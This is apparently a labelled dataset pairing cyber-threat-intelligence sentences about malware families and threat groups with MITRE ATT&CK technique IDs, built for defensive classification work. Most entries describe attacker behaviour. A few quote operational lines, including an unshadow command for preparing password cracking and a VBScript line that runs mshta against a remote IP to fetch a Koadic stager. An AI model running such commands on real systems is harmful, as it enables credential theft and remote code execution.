HoangCuongNguyen/CTI-to-MITRE-dataset huggingface dataset:
To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.
Technique: T1599: Network Boundary Bridging
XTunnel has been used to execute remote commands.
Technique: T1059: Command and Scripting Interpreter
Silent Librarian has collected lists of names for individuals from targeted organizations.
Technique: T1589: Gather Victim Identity Information
Adversaries may acquire credentials from the Windows Credential Manager.
Technique: T1555: Credentials from Password Stores
Domains provide a centralized means of managing how computer resources  can act, and interact with each other, on a network.
Technique: T1484: Domain Policy Modification
Carbanak has a plugin for VNC and Ammyy Admin Tool.
Technique: T1219: Remote Access Software
Tonto Team has used a variety of credential dumping tools.
Technique: T1003: OS Credential Dumping
Revenge RAT has a plugin for screen capture.
Technique: T1113: Screen Capture
Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment.
Technique: T1566: Phishing
InnaputRAT gathers volume drive information and system information.
Technique: T1082: System Information Discovery
Grandoreiro can decrypt its encrypted internal strings.
Technique: T1140: Deobfuscate/Decode Files or Information
Data is compressed with zlib, and bytes are rotated four times before being XOR'ed with 0x23.
Technique: T1560: Archive Collected Data
The Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper: # /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db
Technique: T1003: OS Credential Dumping
Egregor has used batch files for execution and can launch Internet Explorer from cmd.exe.
Technique: T1059: Command and Scripting Interpreter
Whitefly first infects its victims using a dropper in the form of a malicious .exe or .dll file that is disguised as a document or image.
Technique: T1204: User Execution
In addition to using RDP for lateral movement, APT39 has used this protocol to maintain persistence in a victim environment
Technique: T1021: Remote Services
KopiLuwak In November 2016, Kaspersky Lab observed a new round of weaponized macro documents that dropped a new, heavily obfuscated Javascript payload that we named KopiLuwak (one of the rarest and most expensive types of coffee in the world)
Technique: T1027: Obfuscated Files or Information
The vmtools.dll file is a modified DLL that both ensures persistence and loads MSBuild.exe, which is the BADNEWS malware renamed to spoof a legitimate Microsoft Visual Studio tool
Technique: T1036: Masquerading
KOMPROGO is capable of running WMI queries.
Technique: T1047: Windows Management Instrumentation
Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner.
Technique: T1546: Event Triggered Execution
BlackTech has used e-mails with malicious links to lure victims into installing malware.
Technique: T1204: User Execution
Sowbug has used credential dumping tools.
Technique: T1003: OS Credential Dumping
After unpacking the module, it is packed with an additional inner packer Pe123\RPolyCryptor
Technique: T1027: Obfuscated Files or Information
Double-clicking a .cpl file also causes rundll32.exe to execute.
Technique: T1218: Signed Binary Proxy Execution
To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.
Technique: T1499: Endpoint Denial of Service
Utilities, such as NinjaCopy, exist to perform these actions in PowerShell.
Technique: T1006: Direct Volume Access
The shellcode executed by this command is the same as in the delivery documents as well, specifically taken from Metasploit to obtain additional shellcode to execute using an HTTP request to the following URL: http://www7.chrome-up[.]date/0m5EE We are unsure of the shellcode hosted at this URL, as we were unable to coerce the C2 server to provide a payload
Technique: T1071: Application Layer Protocol
UPPERCUT uses cmd.exe to execute commands on the victim’s machine.
Technique: T1059: Command and Scripting Interpreter
SoreFang can collect the TCP/IP, DNS, DHCP, and network adapter configuration on a compromised host via ipconfig.exe /all.
Technique: T1016: System Network Configuration Discovery
Sidewinder has used HTTP in C2 communications.
Technique: T1071: Application Layer Protocol
When the .lnk file is initialized, it spawns a CMD process
Technique: T1547: Boot or Logon Autostart Execution
Some variants of the Zeroaccess Trojan have been known to store data in Extended Attributes.
Technique: T1564: Hide Artifacts
Skeleton key works through a patch on an enterprise domain controller authentication process  with credentials that adversaries may use to bypass the standard authentication system.
Technique: T1556: Modify Authentication Process
WIRTE has used VBS scripts throughout its operation.
Technique: T1059: Command and Scripting Interpreter
Maze has forged POST strings with a random choice from a list of possibilities including "forum", "php", "view", etc.
Technique: T1568: Dynamic Resolution
Turla may attempt to connect to systems within a victim's network using net use commands and a predefined list or collection of passwords.
Technique: T1110: Brute Force
Bankshot uses HTTP for command and control communication.
Technique: T1071: Application Layer Protocol
Micropsia collects the username from the victim’s machine.
Technique: T1033: System Owner/User Discovery
APT41 leveraged code-signing certificates to sign malware when targeting both gaming and non-gaming organizations.
Technique: T1553: Subvert Trust Controls
OilRig malware ISMAgent falls back to its DNS tunneling mechanism if it is unable to reach the C2 server over HTTP.
Technique: T1008: Fallback Channels
APT12 has sent emails with malicious Microsoft Office documents and PDFs attached.
Technique: T1566: Phishing
APT32 malware has used rundll32.exe to execute an initial infection process.
Technique: T1218: Signed Binary Proxy Execution
TLS callback injection is a method of executing arbitrary code in the address space of a separate live process.
Technique: T1055: Process Injection
code(2343)", MsgBoxStyle.Critical, null);     The dropper then writes the content of the payload which resides as plaintext in a resource within the .NET assembly to C:\Users\<username>\AppData\Local\Temp\SystemDiskClean.ps1
Technique: T1033: System Owner/User Discovery
WellMail can exfiltrate files from the victim machine.
Technique: T1005: Data from Local System
Higaisa used a FakeTLS session for C2 communications.
Technique: T1001: Data Obfuscation
This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.
Technique: T1037: Boot or Logon Initialization Scripts
Transparent Tribe has used weaponized documents in e-mail to compromise targeted systems.
Technique: T1204: User Execution
The file collection tool used by RainyDay can utilize native API including ReadDirectoryChangeW for folder monitoring.
Technique: T1106: Native API
Anchor has used HTTP and HTTPS in C2 communications.
Technique: T1071: Application Layer Protocol
Operation Wocao has discovered removable disks attached to a system.
Technique: T1120: Peripheral Device Discovery
Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.
Technique: T1211: Exploitation for Defense Evasion
To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction.
Technique: T1055: Process Injection
This encoded information then gets an additional header added and sent across the network.
Technique: T1132: Data Encoding
Duqu uses a custom command and control protocol that communicates over commonly used ports, and is frequently encapsulated by application layer protocols.
Technique: T1071: Application Layer Protocol
Establishing a persona may require development of additional documentation to make them seem real.
Technique: T1585: Establish Accounts
Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it.
Technique: T1205: Traffic Signaling
In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.
Technique: T1498: Network Denial of Service
APT41 exploited CVE-2020-10189 against Zoho ManageEngine Desktop Central, and CVE-2019-19781 to compromise Citrix Application Delivery Controllers  and gateway devices.
Technique: T1190: Exploit Public-Facing Application
They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct.
Technique: T1587: Develop Capabilities
GravityRAT collects the victim username along with other account information .
Technique: T1033: System Owner/User Discovery
APT29 used different compromised credentials for remote access and to move laterally.
Technique: T1078: Valid Accounts
Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.
Technique: T1059: Command and Scripting Interpreter
Adversaries may use Patch System Image to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.
Technique: T1556: Modify Authentication Process
Rundll32 can also be used to execute scripts such as JavaScript.
Technique: T1218: Signed Binary Proxy Execution
Threat Group-3390 actors have used a modified version of Mimikatz called Wrapikatz to dump credentials.
Technique: T1003: OS Credential Dumping
Zebrocy installs an application-defined Windows hook to get notified when a network drive has been attached, so it can then use the hook to call its RecordToFile file stealing method.
Technique: T1056: Input Capture
CALENDAR has a command to run cmd.exe to execute commands.
Technique: T1059: Command and Scripting Interpreter
Magic Hound malware has used HTTP for C2.
Technique: T1071: Application Layer Protocol
SetWindowsHookEx
Technique: T1056: Input Capture
While use of Virtualization/Sandbox Evasion may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.
Technique: T1480: Execution Guardrails
Catchamas adds a new service named NetAdapter in an apparent attempt to masquerade as a legitimate service.
Technique: T1036: Masquerading
Indrik Spider has collected credentials from infected systems, including domain accounts.
Technique: T1078: Valid Accounts
RainyDay can use RC4 to encrypt C2 communications.
Technique: T1573: Encrypted Channel
NETWIRE has the ability to use /bin/bash and /bin/sh to execute commands.
Technique: T1059: Command and Scripting Interpreter
Attor's dispatcher can modify the Run registry key.
Technique: T1112: Modify Registry
AutoIt backdoor has sent a C2 response that was base64-encoded.
Technique: T1132: Data Encoding
Like other objects in AD, GPOs have access controls associated with them.
Technique: T1484: Domain Policy Modification
Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.
Technique: T1110: Brute Force
Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery.
Technique: T1027: Obfuscated Files or Information
Lazarus Group malware WhiskeyAlfa-Three modifies sector 0 of the Master Boot Record  to ensure that the malware will persist even if a victim machine shuts down.
Technique: T1542: Pre-OS Boot
pass-the-ticket
Technique: T1550: Use Alternate Authentication Material
Rocke has distributed cryptomining malware.
Technique: T1496: Resource Hijacking
Once credentials are obtained, they can be used to perform lateral movement and access restricted information.
Technique: T1555: Credentials from Password Stores
Silence has used the Farse6.1 utility  to extract credentials from lsass.exe.
Technique: T1003: OS Credential Dumping
Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user.
Technique: T1550: Use Alternate Authentication Material
Bundlore prompts the user for their credentials.
Technique: T1056: Input Capture
Cobian RAT has a feature to perform keylogging on the victim’s machine.
Technique: T1056: Input Capture
Cuba can use the command cmd.exe /c del to delete its artifacts from the system.
Technique: T1070: Indicator Removal on Host
Mosquito’s installer is obfuscated with a custom crypter to obfuscate the installer.
Technique: T1027: Obfuscated Files or Information
The XSL script contains additional hard coded variables sVarRaz and sVar2RazX, which contain file paths that direct to the downloaded files.   The file’s path
Technique: T1105: Ingress Tool Transfer
Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments.
Technique: T1497: Virtualization/Sandbox Evasion
Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits.
Technique: T1562: Impair Defenses
BRONZE BUTLER has obtained and used open-source tools such as Mimikatz, gsecdump, and Windows Credential Editor.
Technique: T1588: Obtain Capabilities
Ursnif droppers have used VBA macros to download and execute the malware's full executable payload.
Technique: T1059: Command and Scripting Interpreter
Cadelspy’s main payload contains its back door functionality, allowing the threat to carry out the following activities:  Log keystrokes and the titles of open windows Gather clipboard data and system information Steal printer information and any documents that were sent to be printed Record audio Capture screenshots and webcam photos  Cadelspy compresses all of the stolen data into a .cab file and uploads it to the attacker’s C&C servers
Technique: T1115: Clipboard Data
The following code example shows the false flag being set (5 > 115) and the ETransaksi.diomadnfagaghagh method being called:  int num = 5; int num2 = 155; bool flag = num > num2; if (flag) {     <legitimate Sales System Application code>     }            else {     NewLateBinding.LateCall(ETransaksi.diomadnfagaghagh(), null, "Invoke", new object[]     {         null,         new object[0]     }, null, null, null, true);The payload uses this technique to run a chain of methods that eventually carry out its malicious task
Technique: T1140: Deobfuscate/Decode Files or Information
Revenge RAT has the ability to access the webcam.
Technique: T1125: Video Capture
Lucifer can use WMI to log into remote machines for propagation.
Technique: T1047: Windows Management Instrumentation
The Add-MailboxPermission PowerShell cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.
Technique: T1098: Account Manipulation
list /Users command can be used to enumerate local accounts.
Technique: T1087: Account Discovery
Adversaries may attempt to find unsecured credentials in Group Policy Preferences .
Technique: T1552: Unsecured Credentials
Anyconnect[.]stream Bigip[.]stream Fortiweb[.]download Kaspersky[.]science microtik[.]stream owa365[.]bid symanteclive[.]download windowsdefender[.]win  The listed C2 servers all resolved to IPs belonging to a service provider in China at 1.2.9.0/24, which is the IP address used by the C2 server to send a cancel communications message to the end system
Technique: T1105: Ingress Tool Transfer
If this file exists, the content is read in order to obtain a path to find a second file with the LNK (link) extension
Technique: T1547: Boot or Logon Autostart Execution
Azorult can call WTSQueryUserToken and CreateProcessAsUser to start a new process with local system privileges.
Technique: T1134: Access Token Manipulation
Ryuk has stopped services related to anti-virus.
Technique: T1562: Impair Defenses
During its initial execution, BACKSPACE extracts operating system information from the infected host.
Technique: T1082: System Information Discovery
The “upload” command downloads files from the CnC and saves them locally in “C:\ProgramData“
Technique: T1105: Ingress Tool Transfer
TSCookie has the ability to identify the IP of the infected host.
Technique: T1016: System Network Configuration Discovery
An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method.
Technique: T1560: Archive Collected Data
CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region.
Technique: T1596: Search Open Technical Databases
Sandworm Team defaced approximately 15,000 websites belonging to Georgian government, non-government, and private sector organizations in 2019.
Technique: T1491: Defacement
Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.
Technique: T1090: Proxy
SamSam encrypts victim files using RSA-2048 encryption and demands a ransom be paid in Bitcoin to decrypt those files.
Technique: T1486: Data Encrypted for Impact
In practice this is nearly every program, since user32.dll is a very common library.
Technique: T1546: Event Triggered Execution
If that HTTPS request is not successful, the downloader will issue an HTTP request
Technique: T1071: Application Layer Protocol
FIN8 has used FTP to exfiltrate collected data.
Technique: T1048: Exfiltration Over Alternative Protocol
Dipsind encodes C2 traffic with base64.
Technique: T1132: Data Encoding
Additionally, attackers may exploit a Server-Side Request Forgery  vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.
Technique: T1552: Unsecured Credentials
The selection of the target process is influenced by the security software that is installed on the system .
Technique: T1055: Process Injection
Sidewinder has used tools to automatically collect system and network configuration information.
Technique: T1119: Automated Collection
Shims can also be abused to establish persistence by continuously being invoked by affected programs.
Technique: T1546: Event Triggered Execution
Adversaries can also change configuration settings within the AD environment to implement a Rogue Domain Controller.
Technique: T1484: Domain Policy Modification
Some InnaputRAT variants create a new Windows service to establish persistence.
Technique: T1543: Create or Modify System Process
CHOPSTICK checks for antivirus and forensics software.
Technique: T1518: Software Discovery
Firstly, the Trojan will use the following regular expression to determine if the C2 server wishes to cancel the C2 communications:       216.58.192.174|2a00:1450:4001:81a::200e|2200::|download.microsoft.com|ntservicepack.microsoft.com|windowsupdate.microsoft.com|update.microsoft.com     Additionally, the RogueRobin Trojan uses the regular expressions in Table 3 to confirm that the DNS response contains the appropriate data for it to extract information from
Technique: T1102: Web Service
APT32 actors continue to deliver the malicious attachments via spear-phishing emails
Technique: T1566: Phishing
ObliqueRAT can halt execution if it identifies processes belonging to virtual machine software or analysis tools.
Technique: T1497: Virtualization/Sandbox Evasion
Figure 3 Countries in which OopsIE will run in based on the time zone Notable Differences The OopsIE Trojan delivered in this attack had functional code that was very similar to the OopsIE variant discussed in our previous blog
Technique: T1124: System Time Discovery
SPACESHIP achieves persistence by creating a shortcut in the current user's Startup folder.
Technique: T1547: Boot or Logon Autostart Execution
POWERSTATS has encrypted C2 traffic with RSA.
Technique: T1573: Encrypted Channel
tasklist /svc 
Technique: T1007: System Service Discovery
APT29 used Kerberos ticket attacks for lateral movement.
Technique: T1550: Use Alternate Authentication Material
QUADAGENT was likely obfuscated using Invoke-Obfuscation.
Technique: T1027: Obfuscated Files or Information
APT28 has used legitimate credentials to gain initial access, maintain access, and exfiltrate data from a victim network.
Technique: T1078: Valid Accounts
Leviathan has exploited multiple Microsoft Office and .NET vulnerabilities for execution, including CVE-2017-0199, CVE-2017-8759, and CVE-2017-11882.
Technique: T1203: Exploitation for Client Execution
LiteDuke can securely delete files by first writing random data to the file.
Technique: T1070: Indicator Removal on Host
The QakBot proxy module can encapsulate SOCKS5 protocol within its own proxy protocol.
Technique: T1572: Protocol Tunneling
A user's service tickets or ticket granting ticket  may be obtained, depending on the level of access.
Technique: T1550: Use Alternate Authentication Material
Ramsay has been delivered using OLE objects in malicious documents.
Technique: T1559: Inter-Process Communication
Windigo has used a script to check for the presence of files created by OpenSSH backdoors.
Technique: T1083: File and Directory Discovery
Adversaries may gather information about the victim's host software that can be used during targeting.
Technique: T1592: Gather Victim Host Information
Sidewinder has used the Windows service winmgmts:\\.\root\SecurityCenter2 to check installed antivirus products.
Technique: T1518: Software Discovery
MuddyWater has used malware that has the capability to execute malicious code via COM, DCOM, and Outlook.
Technique: T1559: Inter-Process Communication
FELIXROOT collects the victim’s computer name, processor architecture, OS version, volume serial number, and system type.
Technique: T1082: System Information Discovery
This may be achieved by running verclsid.exe /S /C {CLSID}, where the file is referenced by a Class ID , a unique identification number used to identify COM objects.
Technique: T1218: Signed Binary Proxy Execution
MuddyWater has used malware to obtain a list of running processes on the system.
Technique: T1057: Process Discovery
They also primarily used IP addresses originating from the same country as the victim for their VPN infrastructure.
Technique: T1036: Masquerading
Carbon uses the net view command.
Technique: T1018: Remote System Discovery
Mustang Panda has sent malicious files requiring direct victim interaction to execute.
Technique: T1204: User Execution
It has also disabled Windows Defender's Real-Time Monitoring feature and attempted to disable endpoint protection services.
Technique: T1562: Impair Defenses
APT3 has used tools to compress data before exfilling it.
Technique: T1560: Archive Collected Data
Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.
Technique: T1496: Resource Hijacking
UNC2452 gained initial network access via a trojanized update of SolarWinds Orion software.
Technique: T1195: Supply Chain Compromise
Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system.
Technique: T1137: Office Application Startup
Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process.
Technique: T1134: Access Token Manipulation
Part of APT28's operation involved using CHOPSTICK modules to copy itself to air-gapped machines and using files written to USB sticks to transfer data and command traffic.
Technique: T1091: Replication Through Removable Media
Kwampirs collects password policy information with the command net accounts.
Technique: T1201: Password Policy Discovery
AmmyAdmin
Technique: T1219: Remote Access Software
RC scripts require root privileges to modify.
Technique: T1037: Boot or Logon Initialization Scripts
Egregor can conduct Active Directory reconnaissance using tools such as Sharphound or AdFind.
Technique: T1069: Permission Groups Discovery
Xbash can create a cronjob for persistence if it determines it is on a Linux system.
Technique: T1053: Scheduled Task/Job
Rising Sun can archive data using RC4 encryption and Base64 encoding prior to exfiltration.
Technique: T1560: Archive Collected Data
There are tools available to perform these changes.
Technique: T1546: Event Triggered Execution
APT28 can perform brute force attacks to obtain credentials.
Technique: T1110: Brute Force
Turla has used PowerShell to execute commands/scripts, in some cases via a custom executable or code from Empire's PSInject.
Technique: T1059: Command and Scripting Interpreter
Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.
Technique: T1587: Develop Capabilities
BlackEnergy has the capability to communicate over a backup channel via plus.google.com.
Technique: T1008: Fallback Channels
Malware used by Group5 is capable of watching the victim's screen.
Technique: T1113: Screen Capture
Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link.
Technique: T1204: User Execution
Shamoon can change the modified time for files to evade forensic detection.
Technique: T1070: Indicator Removal on Host
Figure 7: Property list file in LaunchAgents directory To camouflage the location of the malicious file, Keydnap replaces argv[0] with /usr/libexec/icloudsyncd –launchd netlogon.bundle
Technique: T1083: File and Directory Discovery
Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record .
Technique: T1561: Disk Wipe
Information about the client configurations may also be exposed to adversaries via online or other accessible data sets .
Technique: T1592: Gather Victim Host Information
When exfiltrating the keychain, the keychain field is used instead of data
Technique: T1560: Archive Collected Data
HyperStack has used RSA encryption for C2 communications.
Technique: T1573: Encrypted Channel
BRONZE BUTLER has attempted to get users to launch malicious Microsoft Word attachments delivered via spearphishing emails.
Technique: T1204: User Execution
Naikon has used DLL side-loading to load malicious DLL's into legitimate executables.
Technique: T1574: Hijack Execution Flow
Prikormka encodes C2 traffic with Base64.
Technique: T1132: Data Encoding
Valak has downloaded a variety of modules and payloads to the compromised host, including IcedID and Ursnif.
Technique: T1105: Ingress Tool Transfer
REvil can exfiltrate host and malware information to C2 servers.
Technique: T1041: Exfiltration Over C2 Channel
APT1 has collected files from a local victim.
Technique: T1005: Data from Local System
In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output.
Technique: T1497: Virtualization/Sandbox Evasion
GOLD SOUTHFIELD has staged and executed PowerShell scripts on compromised hosts.
Technique: T1059: Command and Scripting Interpreter
Nerex creates a backdoor through which remote attackers can download files onto a compromised host.
Technique: T1105: Ingress Tool Transfer
Emissary has the capability to execute gpresult.
Technique: T1615: Group Policy Discovery
Mosquito uses COM hijacking as a method of persistence.
Technique: T1546: Event Triggered Execution
Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted  until execution.
Technique: T1620: Reflective Code Loading
Cloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols.
Technique: T1562: Impair Defenses
mshta
Technique: T1218: Signed Binary Proxy Execution
An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses.
Technique: T1578: Modify Cloud Compute Infrastructure
Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.
Technique: T1584: Compromise Infrastructure
Bandook can support commands to execute Java-based payloads.
Technique: T1059: Command and Scripting Interpreter
Ragnar Locker has used cmd.exe and batch scripts to execute commands.
Technique: T1059: Command and Scripting Interpreter
GrimAgent can delete previously created tasks on a compromised host.
Technique: T1070: Indicator Removal on Host
Both files require root access to read.
Technique: T1558: Steal or Forge Kerberos Tickets
OSX_OCEANLOTUS.D can collect the network interface MAC address on the infected host.
Technique: T1016: System Network Configuration Discovery
Stolen Pencil has a tool to sniff the network for passwords.
Technique: T1040: Network Sniffing
RTM has the ability to remove Registry entries that it created during execution.
Technique: T1070: Indicator Removal on Host
FruitFly will delete files on the system.
Technique: T1070: Indicator Removal on Host
net session
Technique: T1049: System Network Connections Discovery
Taidoor can upload data and files from a victim's machine.
Technique: T1005: Data from Local System
SynAck can manipulate Registry keys.
Technique: T1112: Modify Registry
Tropic Trooper has used scripts to collect the host's network topology.
Technique: T1016: System Network Configuration Discovery
Night Dragon has copied files to company web servers and subsequently downloaded them.
Technique: T1074: Data Staged
Tropic Trooper has collected information automatically using the adversary's USBferry attack.
Technique: T1119: Automated Collection
ComRAT has also used a unique password to decrypt the file used for its hidden file system.
Technique: T1140: Deobfuscate/Decode Files or Information
Kinsing has used the find command to search for specific files.
Technique: T1083: File and Directory Discovery
Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.
Technique: T1110: Brute Force
LNK files have been valuable during Mandiant incident response investigations as they include volume serial number, NetBIOS name, and MAC address
Technique: T1547: Boot or Logon Autostart Execution
Magic Hound malware has used a PowerShell command to check the victim system architecture to determine if it is an x64 machine.
Technique: T1082: System Information Discovery
An adversary must already be in a privileged user context  administrator to steal a token.
Technique: T1134: Access Token Manipulation
Other functionalities provided by this section of the PowerShell Script are as follows:  Retrieves the following data from the system by leveraging Windows Management Instrumentation (WMI) queries and environment variables: IP Address from Network Adapter Configuration OS Name OS Architecture Computer Name Computer Domain Name Username    All of this data is concatenated and formatted as shown in Figure 13:    Figure 13: Concatenated and formatted data retrieved by PowerShell script  Register the victim’s machine to the C2 server by sending the REGISTER command to the server
Technique: T1082: System Information Discovery
Based on the application, this could result in privilege escalation and uninhibited network access.
Technique: T1574: Hijack Execution Flow
ChChes copies itself to an .exe file with a filename that is likely intended to imitate Norton Antivirus but has several letters reversed .
Technique: T1036: Masquerading
TA505 has password-protected malicious Word documents and used base64 encoded PowerShell commands.
Technique: T1027: Obfuscated Files or Information
The embedded VBScript is retrieved from a resource and decrypted using the same algorithm as discussed above, which results in the following cleartext:       set objshell = createobject(\"wscript.shell\")objshell.run \"mshta hxxp://86.106.131.177:6500/zIZFh\",vbhide     The Koadic C2 server will respond to this request with Javascript code that acts as the Koadic staging payload, which allows the actor to run additional Koadic modules on the end system to carry out their post-exploitation activities
Technique: T1547: Boot or Logon Autostart Execution
UNC2452 has used WinRM via PowerShell to execute command and payloads on remote hosts.
Technique: T1021: Remote Services
MiniDuke can enumerate local drives.
Technique: T1083: File and Directory Discovery
FatDuke can secure delete its DLL.
Technique: T1070: Indicator Removal on Host
Next, to the beginning of the BASE64 string a random BASE64 string with the length of 5 characters is added
Technique: T1027: Obfuscated Files or Information
If the victim is using PowerShell 3.0 or later, POWERSOURCE writes its decoded payload to an Alternate Data Stream  named kernel32.dll that is saved in %PROGRAMDATA%\Windows\.
Technique: T1027: Obfuscated Files or Information
BBSRAT can list running processes.
Technique: T1057: Process Discovery
A common use of this technique is with Spearphishing Attachment/Malicious File since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character.
Technique: T1036: Masquerading
Hydraq creates a backdoor through which remote attackers can clear all system event logs.
Technique: T1070: Indicator Removal on Host
Melcoz has been spread through malicious links embedded in e-mails.
Technique: T1566: Phishing
Linfo creates a backdoor through which remote attackers can obtain data from local systems.
Technique: T1005: Data from Local System
APT3 has been known to stage files for exfiltration in a single location.
Technique: T1074: Data Staged
We have seen the following HTTP POST parameters within the Zebrocy C++ samples: porg structOne oq volume DDE Details The author of the DDE document used in the February 2018 attacks used some obfuscation techniques in an attempt to evade detection
Technique: T1071: Application Layer Protocol
SQLRat has used been observed deleting scripts once used.
Technique: T1070: Indicator Removal on Host
BadPatch establishes a foothold by adding a link to the malware executable in the startup folder.
Technique: T1547: Boot or Logon Autostart Execution
WINERACK can enumerate processes.
Technique: T1057: Process Discovery
Magic Hound malware has communicated with its C2 server over TCP port 4443 using HTTP.
Technique: T1571: Non-Standard Port
This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.
Technique: T1056: Input Capture
FIN8 has distributed targeted emails containing links to malicious documents with embedded macros.
Technique: T1566: Phishing
Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos.
Technique: T1555: Credentials from Password Stores
Aria-body has the ability to use a reverse SOCKS proxy module.
Technique: T1090: Proxy
RGDoor uploads and downloads files to and from the victim’s machine.
Technique: T1105: Ingress Tool Transfer
NDiskMonitor obtains the victim username and encrypts the information to send over its C2 channel.
Technique: T1033: System Owner/User Discovery
BendyBear is designed to download an implant from a C2 server.
Technique: T1105: Ingress Tool Transfer
EvilBunny has downloaded additional Lua scripts from the C2.
Technique: T1105: Ingress Tool Transfer
Adversaries may abuse the right-to-left override  character  to disguise a string and/or file name to make it appear benign.
Technique: T1036: Masquerading
Environment variables, such as %USERNAME% and $USER, may also be used to access this information.
Technique: T1033: System Owner/User Discovery
BLINDINGCAN has used Rundll32 to load a malicious DLL.
Technique: T1218: Signed Binary Proxy Execution
BLACKCOFFEE has the capability to discover processes.
Technique: T1057: Process Discovery
Screenshot provided in leak showing administrative panel for hosting provider Berbid Server The screenshot showed the administrative panel for a VPS account on DeltaHost with four different virtual servers, as seen in Figure 20
Technique: T1113: Screen Capture
APT34 has used brute force techniques to obtain credentials.
Technique: T1110: Brute Force
Adversaries may abuse verclsid.exe to proxy execution of malicious code.
Technique: T1218: Signed Binary Proxy Execution
QakBot can use Rundll32.exe to enable C2 communication.
Technique: T1218: Signed Binary Proxy Execution
SDBbot has the ability to decrypt and decompress its payload to enable code execution.
Technique: T1140: Deobfuscate/Decode Files or Information
Adversaries who have the password hash of a target service account  may forge Kerberos ticket granting service  tickets, also known as silver tickets.
Technique: T1558: Steal or Forge Kerberos Tickets
Once the victim downloads and executes the email attachment, it runs silently with no additional decoy documents or decoy dialog boxes
Technique: T1105: Ingress Tool Transfer
The LSA includes multiple dynamic link libraries  associated with various other security functions, all of which run in the context of the LSA Subsystem Service  lsass.exe process.
Technique: T1547: Boot or Logon Autostart Execution
Dragonfly 2.0 cleared Windows event logs and other logs produced by tools they used, including system, security, terminal services, remote services, and audit logs.
Technique: T1070: Indicator Removal on Host
Mimikatz to obtain credentials.
Technique: T1003: OS Credential Dumping
Mofang has compressed the ShimRat executable within malicious email attachments.
Technique: T1027: Obfuscated Files or Information
MegaCortex has used .cmd scripts on the victim's system.
Technique: T1059: Command and Scripting Interpreter
Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.
Technique: T1564: Hide Artifacts
Adversaries may abuse authentication packages to execute DLLs when the system boots.
Technique: T1547: Boot or Logon Autostart Execution
TURNEDUP is capable of creating a reverse shell.
Technique: T1059: Command and Scripting Interpreter
Ngrok can provide DGA for C2 servers through the use of random URL strings that change every 12 hours.
Technique: T1568: Dynamic Resolution
Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers.
Technique: T1574: Hijack Execution Flow
Chaos provides a reverse shell is triggered upon receipt of a packet with a special string, sent to any port.
Technique: T1205: Traffic Signaling
MiniDuke can use DGA to generate new Twitter URLs for C2.
Technique: T1568: Dynamic Resolution
Cobalt Group has used Registry Run keys for persistence.
Technique: T1547: Boot or Logon Autostart Execution
APT29 has used social media platforms to hide communications to C2 servers.
Technique: T1102: Web Service
Overwrite a file with all zeros and mark it for deletion on reboot  Wiping files with zeros and marking it for deletion on reboot.   Delete files using the DeleteFile() API Load an arbitrary library into its process space
Technique: T1070: Indicator Removal on Host
Sandworm Team has avoided detection by naming a malicious binary explorer.exe.
Technique: T1036: Masquerading
Leviathan has infected victims using watering holes.
Technique: T1189: Drive-by Compromise
If the VBA source code is removed, some tools might even think that there are no macros present.
Technique: T1564: Hide Artifacts
Emissary has the capability to execute the command net localgroup administrators.
Technique: T1069: Permission Groups Discovery
PUNCHBUGGY can load a DLL using the LoadLibrary API.
Technique: T1129: Shared Modules
adbupd can run a copy of cmd.exe.
Technique: T1059: Command and Scripting Interpreter
Mustang Panda has used an additional filename extension to hide the true file type.
Technique: T1036: Masquerading
LoudMiner used the ps command to monitor the running processes on the system.
Technique: T1057: Process Discovery
